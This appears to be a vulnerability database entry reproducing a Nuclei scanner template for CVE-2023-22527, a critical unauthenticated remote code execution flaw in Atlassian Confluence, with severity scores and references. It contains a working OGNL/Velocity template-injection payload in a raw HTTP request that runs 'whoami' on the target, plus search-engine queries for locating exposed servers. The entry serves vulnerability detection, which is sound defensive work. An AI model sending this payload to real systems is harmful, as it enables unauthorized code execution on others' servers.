9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
0.971 High
EPSS
Percentile
99.8%
A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.
id: CVE-2023-22527
info:
name: Atlassian Confluence - Remote Code Execution
author: iamnooob,rootxharsh,pdresearch
severity: critical
description: |
A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.
Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassianβs January Security Bulletin.
reference:
- https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615
- https://jira.atlassian.com/browse/CONFSERVER-93833
- https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
- http://packetstormsecurity.com/files/176789/Atlassian-Confluence-SSTI-Injection.html
- https://github.com/ramirezs4/Tips-and-tools-forensics---RS4
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-22527
cwe-id: CWE-74
epss-score: 0.97459
epss-percentile: 0.99955
cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: atlassian
product: confluence_data_center
shodan-query:
- http.component:"Atlassian Confluence"
- http.component:"atlassian confluence"
fofa-query: app="atlassian-confluence"
tags: packetstorm,cve,cve2023,confluence,rce,ssti,kev,atlassian
http:
- raw:
- |+
POST /template/aui/text-inline.vm HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&[email protected]@getResponse().setHeader(\u0027x_vuln_check\u0027,(new+freemarker.template.utility.Execute()).exec({"whoami"}))
matchers:
- type: dsl
dsl:
- x_vuln_check != "" # check for custom header key exists
- contains(to_lower(body), 'empty{name=')
condition: and
extractors:
- type: dsl
dsl:
- x_vuln_check # prints the output of whoami
# digest: 4a0a0047304502201fa6c35d659a974b6867c95930ac86f66793ea4d356020f683caf9a3d230b537022100e3945d678c3fd19fc638795f92994422bb73daa19901590a03760bf937f7b73e:922c64590222798bb761d5b6d8e72950
packetstormsecurity.com/files/176789/Atlassian-Confluence-SSTI-Injection.html
blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
confluence.atlassian.com/pages/viewpage.action?pageId=1333335615
github.com/ramirezs4/Tips-and-tools-forensics---RS4
jira.atlassian.com/browse/CONFSERVER-93833
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
0.971 High
EPSS
Percentile
99.8%